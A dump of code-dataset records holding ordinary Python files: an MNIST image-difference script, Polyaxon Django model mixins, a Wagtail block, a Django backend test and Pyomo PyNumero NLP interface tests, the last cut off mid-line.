diff))\n\n\t\t# little error will be permited \n\t\tif diff[0] < train_error and diff[1] < train_error: break\n\t\t\n\t\tstep += 1\n\t\n\t_, distance = train()\n\treturn distance\n\n\n\ndef test():\n\tt_img = np.array([\n\t\t\t[1, 0, 0, 1],\n\t\t\t[0, 0, 0, 0],\n\t\t\t[0, 0, 0, 0],\n\t\t\t[1, 0, 0, 1],\n\t\t])\n\n\tp_img1 = np.array([\n\t\t\t[0, 0, 0, 0],\n\t\t\t[0, 1, 1, 0],\n\t\t\t[0, 1, 1, 0],\n\t\t\t[0, 0, 0, 0],\n\t\t])\n\n\tp_img2 = np.array([\n\t\t\t[0, 0, 0, 0],\n\t\t\t[1, 0, 0, 0],\n\t\t\t[1, 0, 0, 0],\n\t\t\t[1, 0, 0, 0],\n\t\t])\n\n\tsize = (4, 4)\n\t#diff_1 = difference(t_img, p_img1, size)\n\tdiff_2 = difference(t_img, p_img1, size)\n\n\tprint(diff_2)\n\ndef test_mnist():\n\tfrom PIL import Image\n\timport os\n\timport shutil\n\n\timage_file_exts = [\".png\", \",jpeg\", \".jpg\"]\n\n\timage_lib = \"/Users/Jason/ML/ml-tools/data/mnist/train/3\"\n\ttarget_file = \"/Users/Jason/ML/mnist/errors/18_3_8.png\"\n\n\ttarget_image = Image.open(open(target_file, \"rb\"))\n\n\ttest_images = []\n\tfor dirpath, dirnames, filenames in os.walk(image_lib):\n\t\tfor filename in filenames:\n\t\t\tif not(os.path.splitext(filename)[1] in image_file_exts): continue\n\t\t\tfilepath = os.path.join(dirpath, filename)\n\t\t\timage = Image.open(open(filepath, \"rb\"))\n\t\t\ttest_images.append(image)\n\n\tt_img = np.reshape(target_image.getdata(), (28, 28))\n\n\tresults = []\n\tfor image in test_images:\n\t\tp_img = np.reshape(image.getdata(), (28, 28))\n\t\tdiff = difference(t_img, p_img, (28, 28))\n\n\t\tif len(results) == 0:\n\t\t\tresults.append({\"diff\" : diff, \"image\" : image})\n\t\telse:\n\t\t\tsave = False\n\t\t\tfor i in xrange(len(results)):\n\t\t\t\tcur = results[i]\n\t\t\t\tif diff > cur[\"diff\"]: continue\n\t\t\t\tresults.insert(i, {\"diff\" : diff, \"image\" : image})\n\t\t\t\tsave = True\n\t\t\t\tbreak\n\t\t\tif not save: results.append({\"diff\" : diff, \"image\" : image})\n\n\t\t#if len(results) > 100: break \n\t\tprint(\"progress {0}/{1}\".format(len(results), len(test_images) ))\n\t\t\t\t\n\toutput_path = \"output\"\n\tif os.path.isdir(output_path): shutil.rmtree(output_path)\n\tos.makedirs(output_path)\n\n\tshow_count = 10\n\tfor i in xrange(np.min([show_count, len(results)])):\n\t\tcur = results[i]\n\t\tdiff = cur[\"diff\"]\n\t\tcur[\"image\"].save(\"{0}/{1}_{2}.png\".format(output_path, str(i), diff))\n\n\nif __name__ == \"__main__\":\n\ttest_mnist()\n\n\n\n\n","sub_path":"mnist/difference.py","file_name":"difference.py","file_ext":"py","file_size_in_byte":5899,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"476716830","text":"import uuid\n\nfrom django.contrib.postgres.fields import ArrayField, JSONField\nfrom django.core.cache import cache\nfrom django.core.validators import validate_slug\nfrom django.db import models\nfrom django.utils.functional import cached_property\n\nfrom libs.blacklist import validate_blacklist_name\nfrom libs.spec_validation import validate_outputs_config, validate_persistence_config\nfrom schemas.environments import OutputsConfig, PersistenceConfig\n\n\nclass DescribableModel(models.Model):\n description = models.TextField(blank=True, null=True)\n\n class Meta:\n abstract = True\n\n @property\n def has_description(self):\n return bool(self.description)\n\n\nclass NameableModel(models.Model):\n name = models.CharField(\n max_length=256,\n blank=True,\n null=True,\n default=None,\n validators=[validate_slug, validate_blacklist_name])\n\n class Meta:\n abstract = True\n\n\nclass SequenceManager(models.Manager):\n def get_queryset(self):\n return super().get_queryset().order_by('sequence')\n\n\nclass SequenceModel(models.Model):\n sequence = models.PositiveSmallIntegerField(\n editable=False,\n null=False)\n\n objects = models.Manager()\n sequence_objects = SequenceManager()\n\n class Meta:\n abstract = True\n\n def _set_sequence(self, filter_query):\n if self.pk is None:\n last = filter_query.last()\n self.sequence = 1\n if last:\n self.sequence = last.sequence + 1\n\n\nclass DiffModel(models.Model):\n created_at = models.DateTimeField(auto_now_add=True, db_index=True)\n updated_at = models.DateTimeField(auto_now=True)\n\n class Meta:\n abstract = True\n\n\nclass NodeSchedulingModel(models.Model):\n node_scheduled = models.CharField(max_length=256, blank=True, null=True)\n\n class Meta:\n abstract = True\n\n\nclass RunTimeModel(models.Model):\n started_at = models.DateTimeField(blank=True, null=True)\n finished_at = models.DateTimeField(blank=True, null=True)\n\n class Meta:\n abstract = True\n\n\nclass TypeModel(models.Model):\n name = models.CharField(max_length=128, unique=True)\n schema_definition = models.TextField()\n\n class Meta:\n abstract = True\n\n def __str__(self):\n return self.name\n\n\nclass TagModel(models.Model):\n tags = ArrayField(\n base_field=models.CharField(max_length=64),\n blank=True,\n null=True,\n help_text='The parameters used for this experiment.')\n\n class Meta:\n abstract = True\n\n\nclass PersistenceModel(models.Model):\n persistence = JSONField(\n null=True,\n blank=True,\n help_text='The persistence definition.',\n validators=[validate_persistence_config])\n\n class Meta:\n abstract = True\n\n @cached_property\n def persistence_config(self):\n return PersistenceConfig.from_dict(self.persistence) if self.persistence else None\n\n @cached_property\n def persistence_data(self):\n return self.persistence_config.data if self.persistence_config else None\n\n @cached_property\n def persistence_outputs(self):\n return self.persistence_config.outputs if self.persistence_config else None\n\n\nclass OutputsModel(models.Model):\n outputs = JSONField(\n null=True,\n blank=True,\n help_text='The persistence definition.',\n validators=[validate_outputs_config])\n outputs_refs = models.OneToOneField(\n 'db.OutputsRefs',\n related_name='+',\n blank=True,\n null=True,\n editable=False,\n on_delete=models.SET_NULL)\n\n class Meta:\n abstract = True\n\n @cached_property\n def outputs_config(self):\n return OutputsConfig.from_dict(self.outputs) if self.outputs else None\n\n @cached_property\n def outputs_jobs(self):\n return self.outputs_config.jobs if self.outputs_config else None\n\n @cached_property\n def outputs_experiments(self):\n return self.outputs_config.experiments if self.outputs_config else None\n\n @cached_property\n def outputs_refs_jobs(self):\n if not self.outputs_refs:\n return None\n\n specs = self.outputs_refs.get_jobs_outputs_spec()\n if not specs:\n return None\n\n # Return an ordered list\n refs = []\n for job in self.outputs_jobs:\n refs.append(specs[int(job)])\n\n return refs\n\n @cached_property\n def outputs_refs_experiments(self):\n if not self.outputs_refs:\n return None\n\n specs = self.outputs_refs.get_experiments_outputs_spec()\n if not specs:\n return None\n\n # Return an ordered list\n refs = []\n for experiment in self.outputs_experiments:\n refs.append(specs[int(experiment)])\n\n return refs\n\n\nclass DataReference(models.Model):\n data_refs = JSONField(\n null=True,\n blank=True,\n help_text='The data hashes used.')\n\n class Meta:\n abstract = True\n\n\nclass Singleton(DiffModel):\n \"\"\"A base model to represents a singleton.\"\"\"\n\n class Meta:\n abstract = True\n\n def set_cache(self):\n cache.set(self.__class__.__name__, self)\n\n def save(self, *args, **kwargs): # pylint:disable=arguments-differ\n self.pk = 1\n super().save(*args, **kwargs)\n self.set_cache()\n\n def delete(self, *args, **kwargs): # pylint:disable=arguments-differ\n pass\n\n @classmethod\n def may_be_update(cls, obj):\n raise NotImplementedError # noqa\n\n @classmethod\n def load(cls):\n raise NotImplementedError # noqa\n\n\nclass StatusModel(models.Model):\n \"\"\"A model that represents a status at certain time.\n\n This is an abstract class, every subclass must implement a status attribute,\n it must implement also Foreignkey to the model that needs a status.\n\n e.g.\n\n # status = db.CharField(\n max_length=64,\n blank=True,\n null=True,\n default=STATUSES.CREATED,\n choices=STATUSES.CHOICES)\n # job = db.ForeignKey(Job, on_delete=db.CASCADE, related_name='statuses')\n \"\"\"\n STATUSES = None\n\n uuid = models.UUIDField(\n default=uuid.uuid4,\n editable=False,\n unique=True,\n null=False)\n created_at = models.DateTimeField(auto_now_add=True, db_index=True)\n message = models.CharField(max_length=256, null=True, blank=True)\n traceback = models.TextField(null=True, blank=True)\n\n def __str__(self):\n return '{} <{}>'.format(str(self), self.status)\n\n class Meta:\n verbose_name_plural = 'Statuses'\n ordering = ['created_at']\n abstract = True\n\n\nclass LastStatusMixin(object):\n \"\"\"A mixin that extracts the logic of last_status.\n\n This is an abstract class, every subclass must implement a status attribute,\n as well as a last_status attribute:\n\n e.g.\n\n status = db.OneToOneField(\n 'ExperimentStatus',\n related_name='+',\n blank=True,\n null=True,\n editable=True,\n on_delete=db.SET_NULL)\n \"\"\"\n STATUSES = None\n\n @property\n def last_status(self):\n return self.status.status if self.status else None\n\n @property\n def is_running(self):\n return self.STATUSES.is_running(self.last_status)\n\n @property\n def is_done(self):\n return self.STATUSES.is_done(self.last_status)\n\n @property\n def failed(self):\n return self.STATUSES.failed(self.last_status)\n\n @property\n def succeeded(self):\n return self.STATUSES.succeeded(self.last_status)\n\n @property\n def stopped(self):\n return self.STATUSES.stopped(self.last_status)\n\n def set_status(self, status, message=None, traceback=None, **kwargs):\n raise NotImplemented # noqa\n\n\nclass CachedMixin(object):\n \"\"\"\n A mixin to help clear cached properties.\n \"\"\"\n CACHED_PROPERTIES = ()\n\n def clear_cached_properties(self, properties=None):\n properties = properties or self.CACHED_PROPERTIES\n for key in properties:\n if key in self.__dict__:\n del self.__dict__[key]\n","sub_path":"polyaxon/db/models/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":8094,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"75030310","text":"from wagtail.core import blocks\n\n\nclass CardListBlock(blocks.StructBlock):\n css_class = blocks.CharBlock(\n default='col',\n help_text='css class for each card wrapper'\n )\n pages = blocks.ListBlock(blocks.PageChooserBlock())\n\n class Meta:\n icon = 'icon icon-placeholder'\n template = 'pages/blocks/card_block.html'\n","sub_path":"pages/blocks.py","file_name":"blocks.py","file_ext":"py","file_size_in_byte":352,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"229752329","text":"# -*- coding: utf-8 -*-\n\n# Unit tests for specific database backends.\n\nimport unittest\n\nfrom django.db import connection\nfrom django.conf import settings\n\n\nclass Callproc(unittest.TestCase):\n\n def test_dbms_session(self):\n # If the backend is Oracle, test that we can call a standard\n # stored procedure through our cursor wrapper.\n if settings.DATABASE_ENGINE == 'oracle':\n cursor = connection.cursor()\n cursor.callproc('DBMS_SESSION.SET_IDENTIFIER',\n ['_django_testing!',])\n return True\n else:\n return True\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"tests/regressiontests/backends/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":660,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"419350166","text":"# ___________________________________________________________________________\n#\n# Pyomo: Python Optimization Modeling Objects\n# Copyright 2017 National Technology and Engineering Solutions of Sandia, LLC\n# Under the terms of Contract DE-NA0003525 with National Technology and\n# Engineering Solutions of Sandia, LLC, the U.S. Government retains certain\n# rights in this software.\n# This software is distributed under the 3-clause BSD License.\n# ___________________________________________________________________________\nimport pyutilib.th as unittest\nimport os\n\nfrom pyomo.contrib.pynumero import numpy_available, scipy_available\nif not (numpy_available and scipy_available):\n raise unittest.SkipTest(\"Pynumero needs scipy and numpy to run NLP tests\")\n\nimport scipy.sparse as sp\nimport numpy as np\n\nfrom pyomo.contrib.pynumero.extensions.asl import AmplInterface\nif not AmplInterface.available():\n raise unittest.SkipTest(\n \"Pynumero needs the ASL extension to run NLP tests\")\n\nimport pyomo.environ as pyo\nfrom pyomo.opt.base import WriterFactory\nfrom pyomo.contrib.pynumero.interfaces.ampl_nlp import AslNLP, AmplNLP\nfrom pyomo.contrib.pynumero.interfaces.pyomo_nlp import PyomoNLP\nimport tempfile\n\nfrom scipy.sparse import coo_matrix\n\nfrom pyomo.contrib.pynumero.interfaces.utils import build_bounds_mask, build_compression_matrix, \\\n build_compression_mask_for_finite_values, full_to_compressed, compressed_to_full\n\ndef create_pyomo_model1():\n m = pyo.ConcreteModel()\n m.dual = pyo.Suffix(direction=pyo.Suffix.IMPORT_EXPORT)\n\n m.S = pyo.Set(initialize=[i+1 for i in range(9)])\n\n xb = dict()\n xb[1] = (-1,1)\n xb[2] = (-np.inf,2)\n xb[3] = (-3,np.inf)\n xb[4] = (-np.inf, np.inf)\n xb[5] = (-5,5)\n xb[6] = (-np.inf,6)\n xb[7] = (-7,np.inf)\n xb[8] = (-np.inf,np.inf)\n xb[9] = (-9,9)\n m.x = pyo.Var(m.S, initialize=1.0, bounds=lambda m,i: xb[i])\n\n cb = dict()\n cb[1] = (-1,1)\n cb[2] = (2,2)\n cb[3] = (-3,np.inf)\n cb[4] = (-np.inf, 4)\n cb[5] = (-5,5)\n cb[6] = (-6,-6)\n cb[7] = (-7,np.inf)\n cb[8] = (-np.inf,8)\n cb[9] = (-9,9)\n\n def c_rule(m,i):\n return (cb[i][0], sum(i*j*m.x[j] for j in m.S), cb[i][1])\n m.c = pyo.Constraint(m.S, rule=c_rule)\n for i in m.S:\n m.dual.set_value(m.c[i], i)\n\n m.obj = pyo.Objective(expr=sum(i*j*m.x[i]*m.x[j] for i in m.S for j in m.S))\n return m\n\ndef create_pyomo_model2():\n m = pyo.ConcreteModel()\n m.x = pyo.Var([1, 2, 3], domain=pyo.Reals)\n for i in range(1, 4):\n m.x[i].value = i\n m.e1 = pyo.Constraint(expr=m.x[1] ** 2 - m.x[2] - 1 == 0)\n m.e2 = pyo.Constraint(expr=m.x[1] - m.x[3] - 0.5 == 0)\n m.i1 = pyo.Constraint(expr=m.x[1] + m.x[2] <= 100.0)\n m.i2 = pyo.Constraint(expr=m.x[2] + m.x[3] >= -100.0)\n m.i3 = pyo.Constraint(expr=m.x[2] + m.x[3] + m.x[1] >= -500.0)\n m.x[2].setlb(0.0)\n m.x[3].setlb(0.0)\n m.x[2].setub(100.0)\n m.obj = pyo.Objective(expr=m.x[2]**2)\n return m\n\ndef execute_extended_nlp_interface(self, anlp):\n self.assertEqual(anlp.n_primals(),9)\n self.assertEqual(anlp.n_constraints(), 9)\n self.assertEqual(anlp.n_eq_constraints(),2)\n self.assertEqual(anlp.n_ineq_constraints(),7)\n self.assertEqual(anlp.nnz_jacobian(), 9*9)\n self.assertEqual(anlp.nnz_jacobian_eq(), 2*9)\n self.assertEqual(anlp.nnz_jacobian_ineq(), 7*9)\n self.assertEqual(anlp.nnz_hessian_lag(), 9*9)\n\n expected_primals_lb = np.asarray([-1, -np.inf, -3, -np.inf, -5, -np.inf, -7, -np.inf, -9], dtype=np.float64)\n expected_primals_ub = np.asarray([1, 2, np.inf, np.inf, 5, 6, np.inf, np.inf, 9], dtype=np.float64)\n self.assertTrue(np.array_equal(expected_primals_lb, anlp.primals_lb()))\n self.assertTrue(np.array_equal(expected_primals_ub, anlp.primals_ub()))\n\n expected_constraints_lb = np.asarray([-1, 0, -3, -np.inf, -5, 0, -7, -np.inf, -9], dtype=np.float64)\n expected_constraints_ub = np.asarray([1, 0, np.inf, 4, 5, 0, np.inf, 8, 9], dtype=np.float64)\n self.assertTrue(np.array_equal(expected_constraints_lb, anlp.constraints_lb()))\n self.assertTrue(np.array_equal(expected_constraints_ub, anlp.constraints_ub()))\n\n expected_ineq_lb = np.asarray([-1, -3, -np.inf, -5, -7, -np.inf, -9], dtype=np.float64)\n expected_ineq_ub = np.asarray([1, np.inf, 4, 5, np.inf, 8, 9], dtype=np.float64)\n self.assertTrue(np.array_equal(expected_ineq_lb, anlp.ineq_lb()))\n self.assertTrue(np.array_equal(expected_ineq_ub, anlp.ineq_ub()))\n\n expected_init_primals = np.ones(9)\n self.assertTrue(np.array_equal(expected_init_primals, anlp.init_primals()))\n expected_init_duals = np.asarray([1, 2, 3, 4, 5, 6, 7, 8, 9], dtype=np.float64)\n self.assertTrue(np.array_equal(expected_init_duals, anlp.init_duals()))\n expected_init_duals_ineq = np.asarray([1, 3, 4, 5, 7, 8, 9], dtype=np.float64)\n self.assertTrue(np.array_equal(expected_init_duals_ineq, anlp.init_duals_ineq()))\n expected_init_duals_eq = np.asarray([2, 6], dtype=np.float64)\n self.assertTrue(np.array_equal(expected_init_duals_eq, anlp.init_duals_eq()))\n\n t = anlp.create_new_vector('primals')\n self.assertTrue(t.size == 9)\n t = anlp.create_new_vector('constraints')\n self.assertTrue(t.size == 9)\n t = anlp.create_new_vector('eq_constraints')\n self.assertTrue(t.size == 2)\n t = anlp.create_new_vector('ineq_constraints')\n self.assertTrue(t.size == 7)\n t = anlp.create_new_vector('duals')\n self.assertTrue(t.size == 9)\n t = anlp.create_new_vector('duals_eq')\n self.assertTrue(t.size == 2)\n t = anlp.create_new_vector('duals_ineq')\n self.assertTrue(t.size == 7)\n\n expected_primals = [i+1 for i in range(9)]\n new_primals = np.asarray(expected_primals, dtype=np.float64)\n expected_primals = np.asarray(expected_primals, dtype=np.float64)\n anlp.set_primals(new_primals)\n ret = anlp.get_primals()\n self.assertTrue(np.array_equal(new_primals, ret))\n self.assertTrue(np.array_equal(expected_primals, anlp._primals))\n anlp.set_primals(np.ones(9))\n\n expected_duals = [i+1 for i in range(9)]\n new_duals = np.asarray(expected_duals, dtype=np.float64)\n expected_duals = np.asarray(expected_duals, dtype=np.float64)\n anlp.set_duals(new_duals)\n self.assertTrue(np.array_equal(expected_duals, anlp._duals_full))\n ret = anlp.get_duals()\n self.assertTrue(np.array_equal(new_duals, ret))\n expected_duals_eq = np.asarray([2, 6], dtype=np.float64)\n self.assertTrue(np.array_equal(expected_duals_eq, anlp._duals_eq))\n expected_duals_ineq = np.asarray([1, 3, 4, 5, 7, 8, 9], dtype=np.float64)\n self.assertTrue(np.array_equal(expected_duals_ineq, anlp._duals_ineq))\n anlp.set_duals(np.ones(9))\n\n expected_duals_eq = [i+1 for i in range(2)]\n new_duals_eq = np.asarray(expected_duals_eq, dtype=np.float64)\n anlp.set_duals_eq(new_duals_eq)\n ret = anlp.get_duals_eq()\n self.assertTrue(np.array_equal(new_duals_eq, ret))\n self.assertTrue(np.array_equal(expected_duals_eq, anlp._duals_eq))\n expected_duals = np.asarray([1, 1, 1, 1, 1, 2, 1, 1, 1], dtype=np.float64)\n self.assertTrue(np.array_equal(expected_duals, anlp._duals_full))\n expected_duals_ineq = np.asarray([1, 1, 1, 1, 1, 1, 1], dtype=np.float64)\n self.assertTrue(np.array_equal(expected_duals_ineq, anlp._duals_ineq))\n anlp.set_duals_eq(np.ones(2))\n expected_duals = np.asarray([1, 1, 1, 1, 1, 1, 1, 1, 1], dtype=np.float64)\n self.assertTrue(np.array_equal(expected_duals, anlp._duals_full))\n\n expected_duals_ineq = [i+1 for i in range(7)]\n new_duals_ineq = np.asarray(expected_duals_ineq, dtype=np.float64)\n anlp.set_duals_ineq(new_duals_ineq)\n ret = anlp.get_duals_ineq()\n self.assertTrue(np.array_equal(new_duals_ineq, ret))\n self.assertTrue(np.array_equal(expected_duals_ineq, anlp._duals_ineq))\n expected_duals = np.asarray([1, 1, 2, 3, 4, 1, 5, 6, 7], dtype=np.float64)\n self.assertTrue(np.array_equal(expected_duals, anlp._duals_full))\n expected_duals_eq = np.asarray([1, 1], dtype=np.float64)\n self.assertTrue(np.array_equal(expected_duals_eq, anlp._duals_eq))\n anlp.set_duals_ineq(np.ones(7))\n expected_duals = np.asarray([1, 1, 1, 1, 1, 1, 1, 1, 1], dtype=np.float64)\n self.assertTrue(np.array_equal(expected_duals, anlp._duals_full))\n\n # objective function\n expected_objective = sum((i+1)*(j+1) for i in range(9) for j in range(9))\n self.assertEqual(expected_objective, anlp.evaluate_objective())\n # change the value of the primals\n anlp.set_primals(2.0*np.ones(9))\n expected_objective = sum(2.0**2*(i+1)*(j+1) for i in range(9) for j in range(9))\n self.assertEqual(expected_objective, anlp.evaluate_objective())\n anlp.set_primals(np.ones(9))\n\n # gradient of the objective\n expected_gradient = np.asarray([2*sum((i+1)*(j+1) for j in range(9)) for i in range(9)], dtype=np.float64)\n grad_obj = anlp.evaluate_grad_objective()\n self.assertTrue(np.array_equal(expected_gradient, grad_obj))\n # test inplace\n grad_obj = np.ones(9)\n ret = anlp.evaluate_grad_objective(out=grad_obj)\n self.assertTrue(ret is grad_obj)\n self.assertTrue(np.array_equal(expected_gradient, grad_obj))\n # change the value of the primals\n anlp.set_primals(2.0*np.ones(9))\n expected_gradient = np.asarray([2*2*sum((i+1)*(j+1) for j in range(9)) for i in range(9)], dtype=np.float64)\n grad_obj = np.ones(9)\n anlp.evaluate_grad_objective(out=grad_obj)\n self.assertTrue(np.array_equal(expected_gradient, grad_obj))\n anlp.set_primals(np.ones(9))\n\n # full constraints\n con = anlp.evaluate_constraints()\n expected_con = np.asarray([45, 88, 3*45, 4*45, 5*45, 276, 7*45, 8*45, 9*45], dtype=np.float64)\n self.assertTrue(np.array_equal(expected_con, con))\n # test inplace\n con = np.zeros(9)\n ret = anlp.evaluate_constraints(out=con)\n self.assertTrue(ret is con)\n self.assertTrue(np.array_equal(expected_con, con))\n # change the value of the primals\n anlp.set_primals(2.0*np.ones(9))\n con = np.zeros(9)\n anlp.evaluate_constraints(out=con)\n expected_con = np.asarray([2*45, 2*(88+2)-2, 2*3*45, 2*4*45, 2*5*45, 2*(276-6)+6, 2*7*45, 2*8*45, 2*9*45], dtype=np.float64)\n self.assertTrue(np.array_equal(expected_con, con))\n anlp.set_primals(np.ones(9))\n\n # equality constraints\n con_eq = anlp.evaluate_eq_constraints()\n expected_con_eq = np.asarray([88, 276], dtype=np.float64)\n self.assertTrue(np.array_equal(expected_con_eq, con_eq))\n # test inplace\n con_eq = np.zeros(2)\n ret = anlp.evaluate_eq_constraints(out=con_eq)\n self.assertTrue(ret is con_eq)\n self.assertTrue(np.array_equal(expected_con_eq, con_eq))\n # change the value of the primals\n anlp.set_primals(2.0*np.ones(9))\n con_eq = np.zeros(2)\n anlp.evaluate_eq_constraints(out=con_eq)\n expected_con_eq = np.asarray([2*(88+2)-2, 2*(276-6)+6], dtype=np.float64)\n self.assertTrue(np.array_equal(expected_con_eq, con_eq))\n anlp.set_primals(np.ones(9))\n\n # inequality constraints\n con_ineq = anlp.evaluate_ineq_constraints()\n expected_con_ineq = np.asarray([45, 3*45, 4*45, 5*45, 7*45, 8*45, 9*45], dtype=np.float64)\n self.assertTrue(np.array_equal(expected_con_ineq, con_ineq))\n # test inplace\n con_ineq = np.zeros(7)\n ret = anlp.evaluate_ineq_constraints(out=con_ineq)\n self.assertTrue(ret is con_ineq)\n self.assertTrue(np.array_equal(expected_con_ineq, con_ineq))\n # change the value of the primals\n anlp.set_primals(2.0*np.ones(9))\n con_ineq = np.zeros(7)\n anlp.evaluate_ineq_constraints(out=con_ineq)\n expected_con_ineq = 2.0*expected_con_ineq\n self.assertTrue(np.array_equal(expected_con_ineq, con_ineq))\n anlp.set_primals(np.ones(9))\n\n # jacobian of all constraints\n jac = anlp.evaluate_jacobian()\n dense_jac = jac.todense()\n expected_jac = [ [(i)*(j) for j in range(1,10)] for i in range(1,10) ]\n expected_jac = np.asarray(expected_jac, dtype=np.float64)\n self.assertTrue(np.array_equal(dense_jac, expected_jac))\n # test inplace\n jac.data = 0*jac.data\n ret = anlp.evaluate_jacobian(out=jac)\n self.assertTrue(ret is jac)\n dense_jac = jac.todense()\n self.assertTrue(np.array_equal(dense_jac, expected_jac))\n # change the value of the primals\n # ToDo: not a great test since this problem is linear\n anlp.set_primals(2.0*np.ones(9))\n anlp.evaluate_jacobian(out=jac)\n dense_jac = jac.todense()\n self.assertTrue(np.array_equal(dense_jac, expected_jac))\n\n # jacobian of equality constraints\n jac_eq = anlp.evaluate_jacobian_eq()\n dense_jac_eq = jac_eq.todense()\n expected_jac_eq = np.asarray([[2, 4, 6, 8, 10, 12, 14, 16, 18],\n [6, 12, 18, 24, 30, 36, 42, 48, 54]], dtype=np.float64)\n self.assertTrue(np.array_equal(dense_jac_eq, expected_jac_eq))\n # test inplace\n jac_eq.data = 0*jac_eq.data\n ret = anlp.evaluate_jacobian_eq(out=jac_eq)\n self.assertTrue(ret is jac_eq)\n dense_jac_eq = jac_eq.todense()\n self.assertTrue(np.array_equal(dense_jac_eq, expected_jac_eq))\n # change the value of the primals\n # ToDo: not a great test since this problem is linear\n anlp.set_primals(2.0*np.ones(9))\n anlp.evaluate_jacobian_eq(out=jac_eq)\n dense_jac_eq = jac_eq.todense()\n self.assertTrue(np.array_equal(dense_jac_eq, expected_jac_eq))\n\n # jacobian of inequality constraints\n jac_ineq = anlp.evaluate_jacobian_ineq()\n dense_jac_ineq = jac_ineq.todense()\n expected_jac_ineq = [ [(i)*(j) for j in range(1,10)] for i in [1, 3, 4, 5, 7, 8, 9] ]\n expected_jac_ineq = np.asarray(expected_jac_ineq, dtype=np.float64)\n self.assertTrue(np.array_equal(dense_jac_ineq, expected_jac_ineq))\n # test inplace\n jac_ineq.data = 0*jac_ineq.data\n ret = anlp.evaluate_jacobian_ineq(out=jac_ineq)\n self.assertTrue(ret is jac_ineq)\n dense_jac_ineq = jac_ineq.todense()\n self.assertTrue(np.array_equal(dense_jac_ineq, expected_jac_ineq))\n # change the value of the primals\n # ToDo: not a great test since this problem is linear\n anlp.set_primals(2.0*np.ones(9))\n anlp.evaluate_jacobian_ineq(out=jac_ineq)\n dense_jac_ineq = jac_ineq.todense()\n self.assertTrue(np.array_equal(dense_jac_ineq, expected_jac_ineq))\n\n # hessian\n hess = anlp.evaluate_hessian_lag()\n dense_hess = hess.todense()\n expected_hess = [ [2.0*i*j for j in range(1, 10)] for i in range(1,10) ]\n expected_hess = np.asarray(expected_hess, dtype=np.float64)\n self.assertTrue(np.array_equal(dense_hess, expected_hess))\n # test inplace\n hess.data = np.zeros(len(hess.data))\n ret = anlp.evaluate_hessian_lag(out=hess)\n self.assertTrue(ret is hess)\n dense_hess = hess.todense()\n self.assertTrue(np.array_equal(dense_hess, expected_hess))\n # change the value of the primals\n anlp.set_primals(2.0*np.ones(9))\n anlp.evaluate_hessian_lag(out=hess)\n dense_hess = hess.todense()\n self.assertTrue(np.array_equal(dense_hess, expected_hess))\n # change the value of the obj factor\n anlp.set_obj_factor(2.0)\n hess = anlp.evaluate_hessian_lag()\n dense_hess = hess.todense()\n expected_hess = [ [4.0*i*j for j in range(1, 10)] for i in range(1,10) ]\n expected_hess = np.asarray(expected_hess, dtype=np.float64)\n self.assertTrue(np.array_equal(dense_hess, expected_hess))\n\n\nclass TestAslNLP(unittest.TestCase):\n @classmethod\n def setUpClass(cls):\n cls.pm = create_pyomo_model1()\n temporary_dir = tempfile.mkdtemp()\n cls.filename = os.path.join(temporary_dir, \"Pyomo_TestAslNLP\")\n cls.pm.write(cls.filename+'.nl', io_options={\"symbolic_solver_labels\": True})\n\n @classmethod\n def tearDownClass(cls):\n # TODO: remove the nl files\n pass\n\n def test_nlp_interface(self):\n anlp = AslNLP(self.filename)\n execute_extended_nlp_interface(self, anlp)\n \nclass TestAmplNLP(unittest.TestCase):\n @classmethod\n def setUpClass(cls):\n # test problem\n cls.pm2 = create_pyomo_model2()\n temporary_dir = tempfile.mkdtemp()\n cls.filename = os.path.join(temporary_dir, \"Pyomo_TestAmplNLP\")\n cls.pm2.write(cls.filename+'.nl', io_options={\"symbolic_solver_labels\": True})\n cls.nlp = AmplNLP(cls.filename+'.nl',\n row_filename=cls.filename+'.row',\n col_filename=cls.filename+'.col')\n\n @classmethod\n def tearDownClass(cls):\n # TODO: remove the nl files\n pass\n\n def test_names(self):\n # Note: order may not be the same as \"expected\"\n expected_variable_names = ['x[1]', 'x[2]', 'x[3]']\n variable_names = self.nlp.variable_names()\n self.assertEqual(len(expected_variable_names),len(variable_names))\n for i in range(len(expected_variable_names)):\n self.assertTrue(expected_variable_names[i] in variable_names)\n\n # Note: order may not be the same as \"expected\"\n expected_constraint_names = ['e1', 'e2', 'i1', 'i2', 'i3']\n constraint_names = self.nlp.constraint_names()\n self.assertEqual(len(expected_constraint_names),len(constraint_names))\n for i in range(len(expected_constraint_names)):\n self.assertTrue(expected_constraint_names[i] in constraint_names)\n\n # Note: order may not be the same as \"expected\"\n expected_eq_constraint_names = ['e1', 'e2']\n eq_constraint_names = self.nlp.eq_constraint_names()\n self.assertEqual(len(expected_eq_constraint_names),len(eq_constraint_names))\n for i in range(len(expected_eq_constraint_names)):\n self.assertTrue(expected_eq_constraint_names[i] in eq_constraint_names)\n\n # Note: order may not be the same as \"expected\"\n expected_ineq_constraint_names = ['i1', 'i2', 'i3']\n ineq_constraint_names = self.nlp.ineq_constraint_names()\n self.assertEqual(len(expected_ineq_constraint_names),len(ineq_constraint_names))\n for i in range(len(expected_ineq_constraint_names)):\n self.assertTrue(expected_ineq_constraint_names[i] in ineq_constraint_names)\n\n def test_idxs(self):\n # Note: order may not be the same as expected\n variable_idxs = list()\n variable_idxs.append(self.nlp.variable_idx('x[1]'))\n variable_idxs.append(self.nlp.variable_idx('x[2]'))\n variable_idxs.append(self.nlp.variable_idx('x[3]'))\n self.assertEqual(sum(variable_idxs), 3)\n\n # Note: order may not be the same as expected\n constraint_idxs = list()\n constraint_idxs.append(self.nlp.constraint_idx('e1'))\n constraint_idxs.append(self.nlp.constraint_idx('e2'))\n constraint_idxs.append(self.nlp.constraint_idx('i1'))\n constraint_idxs.append(self.nlp.constraint_idx('i2'))\n constraint_idxs.append(self.nlp.constraint_idx('i3'))\n self.assertEqual(sum(constraint_idxs), 10)\n\n # Note: order may not be the same as expected\n eq_constraint_idxs = list()\n eq_constraint_idxs.append(self.nlp.eq_constraint_idx('e1'))\n eq_constraint_idxs.append(self.nlp.eq_constraint_idx('e2'))\n self.assertEqual(sum(eq_constraint_idxs), 1)\n\n # Note: order may not be the same as 